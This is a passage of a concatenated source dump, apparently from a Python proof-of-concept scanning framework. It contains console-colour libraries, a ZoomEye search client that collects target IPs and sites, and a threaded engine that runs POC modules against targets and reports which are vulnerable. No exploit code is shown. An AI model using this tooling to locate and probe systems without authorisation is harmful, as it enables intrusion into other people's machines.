23 | DWORD = c_uint32 24 | TCHAR = c_char 25 | 26 | class COORD(Structure): 27 | """struct in wincon.h""" 28 | _fields_ = [ 29 | ('X', SHORT), 30 | ('Y', SHORT), 31 | ] 32 | 33 | class SMALL_RECT(Structure): 34 | """struct in wincon.h.""" 35 | _fields_ = [ 36 | ("Left", SHORT), 37 | ("Top", SHORT), 38 | ("Right", SHORT), 39 | ("Bottom", SHORT), 40 | ] 41 | 42 | class CONSOLE_SCREEN_BUFFER_INFO(Structure): 43 | """struct in wincon.h.""" 44 | _fields_ = [ 45 | ("dwSize", COORD), 46 | ("dwCursorPosition", COORD), 47 | ("wAttributes", WORD), 48 | ("srWindow", SMALL_RECT), 49 | ("dwMaximumWindowSize", COORD), 50 | ] 51 | def __str__(self): 52 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( 53 | self.dwSize.Y, self.dwSize.X 54 | , self.dwCursorPosition.Y, self.dwCursorPosition.X 55 | , self.wAttributes 56 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right 57 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X 58 | ) 59 | 60 | def GetConsoleScreenBufferInfo(stream_id=STDOUT): 61 | handle = handles[stream_id] 62 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 63 | success = windll.kernel32.GetConsoleScreenBufferInfo( 64 | handle, byref(csbi)) 65 | return csbi 66 | 67 | 68 | def SetConsoleTextAttribute(stream_id, attrs): 69 | handle = handles[stream_id] 70 | return windll.kernel32.SetConsoleTextAttribute(handle, attrs) 71 | 72 | 73 | def SetConsoleCursorPosition(stream_id, position): 74 | position = COORD(*position) 75 | # If the position is out of range, do nothing. 76 | if position.Y <= 0 or position.X <= 0: 77 | return 78 | # Adjust for Windows' SetConsoleCursorPosition: 79 | # 1. being 0-based, while ANSI is 1-based. 80 | # 2. expecting (x,y), while ANSI uses (y,x). 81 | adjusted_position = COORD(position.Y - 1, position.X - 1) 82 | # Adjust for viewport's scroll position 83 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow 84 | adjusted_position.Y += sr.Top 85 | adjusted_position.X += sr.Left 86 | # Resume normal processing 87 | handle = handles[stream_id] 88 | return windll.kernel32.SetConsoleCursorPosition(handle, adjusted_position) 89 | 90 | def FillConsoleOutputCharacter(stream_id, char, length, start): 91 | handle = handles[stream_id] 92 | char = TCHAR(char) 93 | length = DWORD(length) 94 | num_written = DWORD(0) 95 | # Note that this is hard-coded for ANSI (vs wide) bytes. 96 | success = windll.kernel32.FillConsoleOutputCharacterA( 97 | handle, char, length, start, byref(num_written)) 98 | return num_written.value 99 | 100 | def FillConsoleOutputAttribute(stream_id, attr, length, start): 101 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' 102 | handle = handles[stream_id] 103 | attribute = WORD(attr) 104 | length = DWORD(length) 105 | num_written = DWORD(0) 106 | # Note that this is hard-coded for ANSI (vs wide) bytes. 107 | return windll.kernel32.FillConsoleOutputAttribute( 108 | handle, attribute, length, start, byref(num_written)) 109 | 110 | -------------------------------------------------------------------------------- /thirdparty/httplib2/iri2uri.py: -------------------------------------------------------------------------------- 1 | """ 2 | iri2uri 3 | 4 | Converts an IRI to a URI. 5 | 6 | """ 7 | __author__ = "Joe Gregorio (joe@bitworking.org)" 8 | __copyright__ = "Copyright 2006, Joe Gregorio" 9 | __contributors__ = [] 10 | __version__ = "1.0.0" 11 | __license__ = "MIT" 12 | __history__ = """ 13 | """ 14 | 15 | import urlparse 16 | 17 | 18 | # Convert an IRI to a URI following the rules in RFC 3987 19 | # 20 | # The characters we need to enocde and escape are defined in the spec: 21 | # 22 | # iprivate = %xE000-F8FF / %xF0000-FFFFD / %x100000-10FFFD 23 | # ucschar = %xA0-D7FF / %xF900-FDCF / %xFDF0-FFEF 24 | # / %x10000-1FFFD / %x20000-2FFFD / %x30000-3FFFD 25 | # / %x40000-4FFFD / %x50000-5FFFD / %x60000-6FFFD 26 | # / %x70000-7FFFD / %x80000-8FFFD / %x90000-9FFFD 27 | # / %xA0000-AFFFD / %xB0000-BFFFD / %xC0000-CFFFD 28 | # / %xD0000-DFFFD / %xE1000-EFFFD 29 | 30 | escape_range = [ 31 | (0xA0, 0xD7FF), 32 | (0xE000, 0xF8FF), 33 | (0xF900, 0xFDCF), 34 | (0xFDF0, 0xFFEF), 35 | (0x10000, 0x1FFFD), 36 | (0x20000, 0x2FFFD), 37 | (0x30000, 0x3FFFD), 38 | (0x40000, 0x4FFFD), 39 | (0x50000, 0x5FFFD), 40 | (0x60000, 0x6FFFD), 41 | (0x70000, 0x7FFFD), 42 | (0x80000, 0x8FFFD), 43 | (0x90000, 0x9FFFD), 44 | (0xA0000, 0xAFFFD), 45 | (0xB0000, 0xBFFFD), 46 | (0xC0000, 0xCFFFD), 47 | (0xD0000, 0xDFFFD), 48 | (0xE1000, 0xEFFFD), 49 | (0xF0000, 0xFFFFD), 50 | (0x100000, 0x10FFFD), 51 | ] 52 | 53 | def encode(c): 54 | retval = c 55 | i = ord(c) 56 | for low, high in escape_range: 57 | if i < low: 58 | break 59 | if i >= low and i <= high: 60 | retval = "".join(["%%%2X" % ord(o) for o in c.encode('utf-8')]) 61 | break 62 | return retval 63 | 64 | 65 | def iri2uri(uri): 66 | """Convert an IRI to a URI. Note that IRIs must be 67 | passed in a unicode strings. That is, do not utf-8 encode 68 | the IRI before passing it into the function.""" 69 | if isinstance(uri ,unicode): 70 | (scheme, authority, path, query, fragment) = urlparse.urlsplit(uri) 71 | authority = authority.encode('idna') 72 | # For each character in 'ucschar' or 'iprivate' 73 | # 1. encode as utf-8 74 | # 2. then %-encode each octet of that utf-8 75 | uri = urlparse.urlunsplit((scheme, authority, path, query, fragment)) 76 | uri = "".join([encode(c) for c in uri]) 77 | return uri 78 | 79 | if __name__ == "__main__": 80 | import unittest 81 | 82 | class Test(unittest.TestCase): 83 | 84 | def test_uris(self): 85 | """Test that URIs are invariant under the transformation.""" 86 | invariant = [ 87 | u"ftp://ftp.is.co.za/rfc/rfc1808.txt", 88 | u"http://www.ietf.org/rfc/rfc2396.txt", 89 | u"ldap://[2001:db8::7]/c=GB?objectClass?one", 90 | u"mailto:John.Doe@example.com", 91 | u"news:comp.infosystems.www.servers.unix", 92 | u"tel:+1-816-555-1212", 93 | u"telnet://192.0.2.16:80/", 94 | u"urn:oasis:names:specification:docbook:dtd:xml:4.1.2" ] 95 | for uri in invariant: 96 | self.assertEqual(uri, iri2uri(uri)) 97 | 98 | def test_iri(self): 99 | """ Test that the right type of escaping is done for each part of the URI.""" 100 | self.assertEqual("http://xn--o3h.com/%E2%98%84", iri2uri(u"http://\N{COMET}.com/\N{COMET}")) 101 | self.assertEqual("http://bitworking.org/?fred=%E2%98%84", iri2uri(u"http://bitworking.org/?fred=\N{COMET}")) 102 | self.assertEqual("http://bitworking.org/#%E2%98%84", iri2uri(u"http://bitworking.org/#\N{COMET}")) 103 | self.assertEqual("#%E2%98%84", iri2uri(u"#\N{COMET}")) 104 | self.assertEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}")) 105 | self.assertEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}"))) 106 | self.assertNotEqual("/fred?bar=%E2%98%9A#%E2%98%84", iri2uri(u"/fred?bar=\N{BLACK LEFT POINTING INDEX}#\N{COMET}".encode('utf-8'))) 107 | 108 | unittest.main() 109 | 110 | 111 | -------------------------------------------------------------------------------- /thirdparty/colorama/winterm.py: -------------------------------------------------------------------------------- 1 | 2 | from . import win32 3 | 4 | 5 | # from wincon.h 6 | class WinColor(object): 7 | BLACK = 0 8 | BLUE = 1 9 | GREEN = 2 10 | CYAN = 3 11 | RED = 4 12 | MAGENTA = 5 13 | YELLOW = 6 14 | GREY = 7 15 | 16 | # from wincon.h 17 | class WinStyle(object): 18 | NORMAL = 0x00 # dim text, dim background 19 | BRIGHT = 0x08 # bright text, dim background 20 | 21 | 22 | class WinTerm(object): 23 | 24 | def __init__(self): 25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes 26 | self.set_attrs(self._default) 27 | self._default_fore = self._fore 28 | self._default_back = self._back 29 | self._default_style = self._style 30 | 31 | def get_attrs(self): 32 | return self._fore + self._back * 16 + self._style 33 | 34 | def set_attrs(self, value): 35 | self._fore = value & 7 36 | self._back = (value >> 4) & 7 37 | self._style = value & WinStyle.BRIGHT 38 | 39 | def reset_all(self, on_stderr=None): 40 | self.set_attrs(self._default) 41 | self.set_console(attrs=self._default) 42 | 43 | def fore(self, fore=None, on_stderr=False): 44 | if fore is None: 45 | fore = self._default_fore 46 | self._fore = fore 47 | self.set_console(on_stderr=on_stderr) 48 | 49 | def back(self, back=None, on_stderr=False): 50 | if back is None: 51 | back = self._default_back 52 | self._back = back 53 | self.set_console(on_stderr=on_stderr) 54 | 55 | def style(self, style=None, on_stderr=False): 56 | if style is None: 57 | style = self._default_style 58 | self._style = style 59 | self.set_console(on_stderr=on_stderr) 60 | 61 | def set_console(self, attrs=None, on_stderr=False): 62 | if attrs is None: 63 | attrs = self.get_attrs() 64 | handle = win32.STDOUT 65 | if on_stderr: 66 | handle = win32.STDERR 67 | win32.SetConsoleTextAttribute(handle, attrs) 68 | 69 | def get_position(self, handle): 70 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition 71 | # Because Windows coordinates are 0-based, 72 | # and win32.SetConsoleCursorPosition expects 1-based. 73 | position.X += 1 74 | position.Y += 1 75 | return position 76 | 77 | def set_cursor_position(self, position=None, on_stderr=False): 78 | if position is None: 79 | #I'm not currently tracking the position, so there is no default. 80 | #position = self.get_position() 81 | return 82 | handle = win32.STDOUT 83 | if on_stderr: 84 | handle = win32.STDERR 85 | win32.SetConsoleCursorPosition(handle, position) 86 | 87 | def cursor_up(self, num_rows=0, on_stderr=False): 88 | if num_rows == 0: 89 | return 90 | handle = win32.STDOUT 91 | if on_stderr: 92 | handle = win32.STDERR 93 | position = self.get_position(handle) 94 | adjusted_position = (position.Y - num_rows, position.X) 95 | self.set_cursor_position(adjusted_position, on_stderr) 96 | 97 | def erase_data(self, mode=0, on_stderr=False): 98 | # 0 (or None) should clear from the cursor to the end of the screen. 99 | # 1 should clear from the cursor to the beginning of the screen. 100 | # 2 should clear the entire screen. (And maybe move cursor to (1,1)?) 101 | # 102 | # At the moment, I only support mode 2. From looking at the API, it 103 | # should be possible to calculate a different number of bytes to clear, 104 | # and to do so relative to the cursor position. 105 | if mode[0] not in (2,): 106 | return 107 | handle = win32.STDOUT 108 | if on_stderr: 109 | handle = win32.STDERR 110 | # here's where we'll home the cursor 111 | coord_screen = win32.COORD(0,0) 112 | csbi = win32.GetConsoleScreenBufferInfo(handle) 113 | # get the number of character cells in the current buffer 114 | dw_con_size = csbi.dwSize.X * csbi.dwSize.Y 115 | # fill the entire screen with blanks 116 | win32.FillConsoleOutputCharacter(handle, ord(' '), dw_con_size, coord_screen) 117 | # now set the buffer's attributes accordingly 118 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), dw_con_size, coord_screen ); 119 | # put the cursor at (0, 0) 120 | win32.SetConsoleCursorPosition(handle, (coord_screen.X, coord_screen.Y)) 121 | -------------------------------------------------------------------------------- /lib/api/zoomeye/base.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | import requests 5 | import getpass 6 | import sys 7 | from lib.core.data import logger, paths 8 | from lib.utils.config import ConfigFileParser 9 | 10 | 11 | class ZoomEye(object): 12 | def __init__(self, username=None, password=None): 13 | self.username = username 14 | self.password = password 15 | 16 | self.token = '' 17 | self.zoomeye_login_api = "https://api.zoomeye.org/user/login" 18 | self.zoomeye_dork_api = "https://api.zoomeye.org/{}/search" 19 | 20 | def auto_login(self): 21 | msg = 'Trying to login with credentials in config file: %s' % paths.CONFIG_PATH 22 | logger.info(msg) 23 | try: 24 | self.username = ConfigFileParser().ZoomEyeEmail() 25 | self.password = ConfigFileParser().ZoomEyePassword() 26 | except: 27 | pass 28 | 29 | if bool(self.username and self.password): 30 | if self.get_token(): 31 | return 32 | 33 | msg = 'Automatic authorization failed.Please add your Account and Password to toolkit.conf' 34 | logger.warning(msg) 35 | self.manual_login() 36 | 37 | def manual_login(self): 38 | msg = 'Please input your ZoomEye Email and Password below' 39 | logger.info(msg) 40 | self.username = raw_input('ZoomEye Account: ').strip() 41 | self.password = getpass.getpass(prompt='ZoomEye Password: ').strip() 42 | if not self.get_token(): 43 | msg = 'Invalid ZoomEye username or password' 44 | sys.exit(logger.error(msg)) 45 | 46 | def get_token(self): 47 | # Please access https://www.zoomeye.org/api/doc#overview 48 | data = '{{"username": "{}", "password": "{}"}}'.format(self.username,self.password) 49 | resp = requests.post(self.zoomeye_login_api, data=data) 50 | if resp and resp.status_code == 200 and 'access_token' in resp.json(): 51 | self.token = resp.json().get('access_token') 52 | return self.token 53 | return False 54 | 55 | def setToken(self, token): 56 | """set Token from exist token string""" 57 | self.token = token.strip() 58 | 59 | def dork_search(self, dork, page=0, resource='web', facet=['ip']): 60 | """Search records with ZoomEye dorks. 61 | 62 | param: dork 63 | ex: country:cn 64 | access https://www.zoomeye.org/search/dorks for more details. 65 | param: page 66 | total page(s) number 67 | param: resource 68 | set a search resource type, ex: [web, host] 69 | param: facet 70 | ex: [app, device] 71 | A comma-separated list of properties to get summary information 72 | """ 73 | result = [] 74 | if isinstance(facet, (tuple, list)): 75 | facet = ','.join(facet) 76 | 77 | zoomeye_api = self.zoomeye_dork_api.format(resource) 78 | headers = {'Authorization': 'JWT %s' % self.token} 79 | params = {'query': dork, 'page': page + 1, 'facet': facet} 80 | resp = requests.get(zoomeye_api, params=params, headers=headers) 81 | if resp and resp.status_code == 200 and 'matches' in resp.json(): 82 | matches = resp.json().get('matches') 83 | # total = resp.json().get('total') # all matches items num 84 | result = matches 85 | 86 | # Every match item incudes the following information: 87 | # geoinfo 88 | # description 89 | # check_time 90 | # title 91 | # ip 92 | # site 93 | # system 94 | # headers 95 | # keywords 96 | # server 97 | # domains 98 | 99 | return result 100 | 101 | def resources_info(self): 102 | """Resource info shows us available search times. 103 | 104 | host-search: total number of available host records to search 105 | web-search: total number of available web records to search 106 | """ 107 | data = None 108 | zoomeye_api = "https://api.zoomeye.org/resources-info" 109 | headers = {'Authorization': 'JWT %s' % self.token} 110 | resp = requests.get(zoomeye_api, headers=headers) 111 | if resp and resp.status_code == 200 and 'plan' in resp.json(): 112 | data = resp.json() 113 | 114 | return data 115 | 116 | 117 | def show_site_ip(data): 118 | if data: 119 | for i in data: 120 | print(i.get('site'), i.get('ip')) 121 | 122 | 123 | def show_ip_port(data): 124 | if data: 125 | for i in data: 126 | print(i.get('ip'), i.get('portinfo').get('port')) 127 | -------------------------------------------------------------------------------- /lib/controller/engine.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | 5 | import threading 6 | import time 7 | import traceback 8 | from lib.core.data import th, conf, logger, targetlist 9 | from lib.utils.console import getTerminalSize #获取命令行窗口的宽度和高度 10 | from lib.utils.versioncheck import PYVERSION 11 | from lib.core.enums import POC_RESULT_STATUS, ENGINE_MODE_STATUS 12 | 13 | 14 | def initEngine(): 15 | th.thread_mode = True if conf.ENGINE is ENGINE_MODE_STATUS.THREAD else False 16 | #多线程模式conf.ENGINE=9 17 | th.module_name = conf.MODULE_NAME #脚本名 18 | th.s_flag = True 19 | th.thread_count = th.threads_num = th.THREADS_NUM #线程数 20 | th.scan_count = th.found_count = 0 #扫描数和发现数置0 21 | th.console_width = getTerminalSize()[0] - 2 #命令行窗口宽度减2 22 | th.is_continue = True 23 | th.start_time = time.time() #开始计时 24 | setThreadLock() 25 | ''' 26 | print "#########以下是th字典##########" 27 | print th 28 | ''' 29 | msg = 'The number of %s: %d' % ('threads' if conf.ENGINE is ENGINE_MODE_STATUS.THREAD else 'concurrent', th.threads_num) 30 | logger.info(msg) 31 | 32 | 33 | def scan(): 34 | while 1: 35 | if th.thread_mode: th.load_lock.acquire() 36 | if th.queue.qsize() > 0 and th.is_continue: 37 | payload = str(th.queue.get(timeout=1.0)) 38 | if th.thread_mode: th.load_lock.release() 39 | else: 40 | if th.thread_mode: th.load_lock.release() 41 | break 42 | try: 43 | #POC在执行时报错如果不被处理,线程框架会停止并退出 44 | status = th.module_obj.poc(payload) #执行脚本,会返回状态True或者False 45 | if th.thread_mode: 46 | th.output_lock.acquire() 47 | time.sleep(0.05) 48 | resultHandler(status, payload) 49 | except Exception: 50 | th.errmsg = traceback.format_exc() 51 | th.is_continue = False 52 | changeScanCount(1) 53 | changeThreadCount(-1) 54 | 55 | 56 | def run(): 57 | initEngine() 58 | if conf.ENGINE is ENGINE_MODE_STATUS.THREAD: #多线程模式conf.ENGINE=9 59 | for i in range(th.threads_num): 60 | t = threading.Thread(target=scan, name=str(i)) 61 | setThreadDaemon(t) 62 | t.start() 63 | # It can quit with Ctrl-C 64 | while 1: #如果未扫描结束,主线程一直死循环等待,取决于线程数量和th.is_continue的值 65 | if th.thread_count > 0 and th.is_continue: 66 | time.sleep(0.01) 67 | else: 68 | break 69 | 70 | elif conf.ENGINE is ENGINE_MODE_STATUS.GEVENT: #协程模式conf.ENGINE=8 71 | from gevent import monkey 72 | monkey.patch_all() 73 | import gevent 74 | while th.queue.qsize() > 0 and th.is_continue: 75 | gevent.joinall([gevent.spawn(scan) for i in xrange(0, th.threads_num) if #生成10个concurrent 76 | th.queue.qsize() > 0]) 77 | 78 | if 'errmsg' in th: 79 | logger.error(th.errmsg) 80 | 81 | 82 | def resultHandler(status, payload): 83 | truemsg = "The target '{}' is vulnerable".format(payload) 84 | falsemsg = "The target '{}' is NOT vulnerable".format(payload) 85 | if not status or status is POC_RESULT_STATUS.FAIL: 86 | targetlist.append([payload, status]) 87 | logger.error(falsemsg) 88 | if th.thread_mode: th.output_lock.release() 89 | return 90 | elif status is POC_RESULT_STATUS.RETRAY: 91 | changeScanCount(-1) 92 | th.queue.put(payload) 93 | return 94 | elif status is True or status is POC_RESULT_STATUS.SUCCESS: 95 | targetlist.append([payload, status]) 96 | logger.success(truemsg) 97 | if th.thread_mode: th.output_lock.release() 98 | changeFoundCount(1) 99 | else: 100 | pass 101 | 102 | 103 | 104 | def setThreadLock(): 105 | th.output_lock = threading.Lock() 106 | if th.thread_mode: 107 | th.found_count_lock = threading.Lock() 108 | th.scan_count_lock = threading.Lock() 109 | th.thread_count_lock = threading.Lock() 110 | th.file_lock = threading.Lock() 111 | th.load_lock = threading.Lock() 112 | 113 | 114 | def setThreadDaemon(thread): #设置守护线程 115 | # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation 116 | if PYVERSION >= "2.6": 117 | thread.daemon = True 118 | else: 119 | thread.setDaemon(True) 120 | 121 | 122 | def changeFoundCount(num): 123 | if th.thread_mode: th.found_count_lock.acquire() 124 | th.found_count += num 125 | if th.thread_mode: th.found_count_lock.release() 126 | 127 | 128 | def changeScanCount(num): 129 | if th.thread_mode: th.scan_count_lock.acquire() 130 | th.scan_count += num 131 | if th.thread_mode: th.scan_count_lock.release() 132 | 133 | 134 | def changeThreadCount(num): 135 | if th.thread_mode: th.thread_count_lock.acquire() 136 | th.thread_count += num 137 | if th.thread_mode: th.thread_count_lock.release() 138 | -------------------------------------------------------------------------------- /thirdparty/ansistrm/ansistrm.py: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright (C) 2010-2012 Vinay Sajip. All rights reserved. Licensed under the new BSD license. 3 | # 4 | import logging 5 | import os 6 | import re 7 | 8 | from lib.core.convert import stdoutencode 9 | 10 | 11 | class ColorizingStreamHandler(logging.StreamHandler): 12 | # color names to indices 13 | color_map = { 14 | 'black': 0, 15 | 'red': 1, 16 | 'green': 2, 17 | 'yellow': 3, 18 | 'blue': 4, 19 | 'magenta': 5, 20 | 'cyan': 6, 21 | 'white': 7, 22 | } 23 | 24 | # levels to (background, foreground, bold/intense) 25 | if os.name == 'nt': 26 | level_map = { 27 | logging.DEBUG: (None, 'blue', False), 28 | logging.INFO: (None, 'green', False), 29 | logging.WARNING: (None, 'yellow', False), 30 | logging.ERROR: (None, 'red', False), 31 | logging.CRITICAL: ('red', 'white', False) 32 | } 33 | else: 34 | level_map = { 35 | logging.DEBUG: (None, 'blue', False), 36 | logging.INFO: (None, 'green', False), 37 | logging.WARNING: (None, 'yellow', False), 38 | logging.ERROR: (None, 'red', False), 39 | logging.CRITICAL: ('red', 'white', False) 40 | } 41 | csi = '\x1b[' 42 | reset = '\x1b[0m' 43 | disable_coloring = False 44 | 45 | @property 46 | def is_tty(self): 47 | isatty = getattr(self.stream, 'isatty', None) 48 | return isatty and isatty() and not self.disable_coloring 49 | 50 | def emit(self, record): 51 | try: 52 | message = stdoutencode(self.format(record)) 53 | stream = self.stream 54 | 55 | if not self.is_tty: 56 | if message and message[0] == "\r": 57 | message = message[1:] 58 | stream.write(message) 59 | else: 60 | self.output_colorized(message) 61 | stream.write(getattr(self, 'terminator', '\n')) 62 | 63 | self.flush() 64 | except (KeyboardInterrupt, SystemExit): 65 | raise 66 | except IOError: 67 | pass 68 | except Exception: 69 | self.handleError(record) 70 | 71 | if os.name != 'nt': 72 | def output_colorized(self, message): 73 | self.stream.write(message) 74 | else: 75 | ansi_esc = re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m') 76 | 77 | nt_color_map = { 78 | 0: 0x00, # black 79 | 1: 0x04, # red 80 | 2: 0x02, # green 81 | 3: 0x06, # yellow 82 | 4: 0x01, # blue 83 | 5: 0x05, # magenta 84 | 6: 0x03, # cyan 85 | 7: 0x07, # white 86 | } 87 | 88 | def output_colorized(self, message): 89 | import ctypes 90 | 91 | parts = self.ansi_esc.split(message) 92 | write = self.stream.write 93 | h = None 94 | fd = getattr(self.stream, 'fileno', None) 95 | 96 | if fd is not None: 97 | fd = fd() 98 | 99 | if fd in (1, 2): # stdout or stderr 100 | h = ctypes.windll.kernel32.GetStdHandle(-10 - fd) 101 | 102 | while parts: 103 | text = parts.pop(0) 104 | 105 | if text: 106 | write(text) 107 | 108 | if parts: 109 | params = parts.pop(0) 110 | 111 | if h is not None: 112 | params = [int(p) for p in params.split(';')] 113 | color = 0 114 | 115 | for p in params: 116 | if 40 <= p <= 47: 117 | color |= self.nt_color_map[p - 40] << 4 118 | elif 30 <= p <= 37: 119 | color |= self.nt_color_map[p - 30] 120 | elif p == 1: 121 | color |= 0x08 # foreground intensity on 122 | elif p == 0: # reset to default color 123 | color = 0x07 124 | else: 125 | pass # error condition ignored 126 | 127 | ctypes.windll.kernel32.SetConsoleTextAttribute(h, color) 128 | 129 | def colorize(self, message, record): 130 | if record.levelno in self.level_map and self.is_tty: 131 | bg, fg, bold = self.level_map[record.levelno] 132 | params = [] 133 | 134 | if bg in self.color_map: 135 | params.append(str(self.color_map[bg] + 40)) 136 | 137 | if fg in self.color_map: 138 | params.append(str(self.color_map[fg] + 30)) 139 | 140 | if bold: 141 | params.append('1') 142 | 143 | if params and message: 144 | if message.lstrip() != message: 145 | prefix = re.search(r"\s+", message).group(0) 146 | message = message[len(prefix):] 147 | else: 148 | prefix = "" 149 | 150 | message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params), 151 | 'm', message, self.reset))) 152 | 153 | return message 154 | 155 | def format(self, record): 156 | message = logging.StreamHandler.format(self, record) 157 | return self.colorize(message, record) 158 | -------------------------------------------------------------------------------- /thirdparty/termcolor/termcolor.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright (c) 2008-2011 Volvox Development Team 3 | # 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | # 11 | # The above copyright notice and this permission notice shall be included in 12 | # all copies or substantial portions of the Software. 13 | # 14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | # THE SOFTWARE. 21 | # 22 | # Author: Konstantin Lepa 23 | 24 | """ANSII Color formatting for output in terminal.""" 25 | 26 | from __future__ import print_function 27 | import os 28 | 29 | 30 | __ALL__ = [ 'colored', 'cprint' ] 31 | 32 | VERSION = (1, 1, 0) 33 | 34 | ATTRIBUTES = dict( 35 | list(zip([ 36 | 'bold', 37 | 'dark', 38 | '', 39 | 'underline', 40 | 'blink', 41 | '', 42 | 'reverse', 43 | 'concealed' 44 | ], 45 | list(range(1, 9)) 46 | )) 47 | ) 48 | del ATTRIBUTES[''] 49 | 50 | 51 | HIGHLIGHTS = dict( 52 | list(zip([ 53 | 'on_grey', 54 | 'on_red', 55 | 'on_green', 56 | 'on_yellow', 57 | 'on_blue', 58 | 'on_magenta', 59 | 'on_cyan', 60 | 'on_white' 61 | ], 62 | list(range(40, 48)) 63 | )) 64 | ) 65 | 66 | 67 | COLORS = dict( 68 | list(zip([ 69 | 'grey', 70 | 'red', 71 | 'green', 72 | 'yellow', 73 | 'blue', 74 | 'magenta', 75 | 'cyan', 76 | 'white', 77 | ], 78 | list(range(30, 38)) 79 | )) 80 | ) 81 | 82 | 83 | RESET = '\033[0m' 84 | 85 | 86 | def colored(text, color=None, on_color=None, attrs=None): 87 | """Colorize text. 88 | 89 | Available text colors: 90 | red, green, yellow, blue, magenta, cyan, white. 91 | 92 | Available text highlights: 93 | on_red, on_green, on_yellow, on_blue, on_magenta, on_cyan, on_white. 94 | 95 | Available attributes: 96 | bold, dark, underline, blink, reverse, concealed. 97 | 98 | Example: 99 | colored('Hello, World!', 'red', 'on_grey', ['blue', 'blink']) 100 | colored('Hello, World!', 'green') 101 | """ 102 | if os.getenv('ANSI_COLORS_DISABLED') is None: 103 | fmt_str = '\033[%dm%s' 104 | if color is not None: 105 | text = fmt_str % (COLORS[color], text) 106 | 107 | if on_color is not None: 108 | text = fmt_str % (HIGHLIGHTS[on_color], text) 109 | 110 | if attrs is not None: 111 | for attr in attrs: 112 | text = fmt_str % (ATTRIBUTES[attr], text) 113 | 114 | text += RESET 115 | return text 116 | 117 | 118 | def cprint(text, color=None, on_color=None, attrs=None, **kwargs): 119 | """Print colorize text. 120 | 121 | It accepts arguments of print function. 122 | """ 123 | 124 | print((colored(text, color, on_color, attrs)), **kwargs) 125 | 126 | 127 | if __name__ == '__main__': 128 | print('Current terminal type: %s' % os.getenv('TERM')) 129 | print('Test basic colors:') 130 | cprint('Grey color', 'grey') 131 | cprint('Red color', 'red') 132 | cprint('Green color', 'green') 133 | cprint('Yellow color', 'yellow') 134 | cprint('Blue color', 'blue') 135 | cprint('Magenta color', 'magenta') 136 | cprint('Cyan color', 'cyan') 137 | cprint('White color', 'white') 138 | print(('-' * 78)) 139 | 140 | print('Test highlights:') 141 | cprint('On grey color', on_color='on_grey') 142 | cprint('On red color', on_color='on_red') 143 | cprint('On green color', on_color='on_green') 144 | cprint('On yellow color', on_color='on_yellow') 145 | cprint('On blue color', on_color='on_blue') 146 | cprint('On magenta color', on_color='on_magenta') 147 | cprint('On cyan color', on_color='on_cyan') 148 | cprint('On white color', color='grey', on_color='on_white') 149 | print('-' * 78) 150 | 151 | print('Test attributes:') 152 | cprint('Bold grey color', 'grey', attrs=['bold']) 153 | cprint('Dark red color', 'red', attrs=['dark']) 154 | cprint('Underline green color', 'green', attrs=['underline']) 155 | cprint('Blink yellow color', 'yellow', attrs=['blink']) 156 | cprint('Reversed blue color', 'blue', attrs=['reverse']) 157 | cprint('Concealed Magenta color', 'magenta', attrs=['concealed']) 158 | cprint('Bold underline reverse cyan color', 'cyan', 159 | attrs=['bold', 'underline', 'reverse']) 160 | cprint('Dark blink concealed white color', 'white', 161 | attrs=['dark', 'blink', 'concealed']) 162 | print(('-' * 78)) 163 | 164 | print('Test mixing:') 165 | cprint('Underline red on grey color', 'red', 'on_grey', 166 | ['underline']) 167 | cprint('Reversed green on red color', 'green', 'on_red', ['reverse']) 168 | 169 | -------------------------------------------------------------------------------- /thirdparty/colorama/ansitowin32.py: -------------------------------------------------------------------------------- 1 | 2 | import re 3 | import sys 4 | 5 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style 6 | from .winterm import WinTerm, WinColor, WinStyle 7 | from .win32 import windll 8 | 9 | 10 | if windll is not None: 11 | winterm = WinTerm() 12 | 13 | 14 | def is_a_tty(stream): 15 | return hasattr(stream, 'isatty') and stream.isatty() 16 | 17 | 18 | class StreamWrapper(object): 19 | ''' 20 | Wraps a stream (such as stdout), acting as a transparent proxy for all 21 | attribute access apart from method 'write()', which is delegated to our 22 | Converter instance. 23 | ''' 24 | def __init__(self, wrapped, converter): 25 | # double-underscore everything to prevent clashes with names of 26 | # attributes on the wrapped stream object. 27 | self.__wrapped = wrapped 28 | self.__convertor = converter 29 | 30 | def 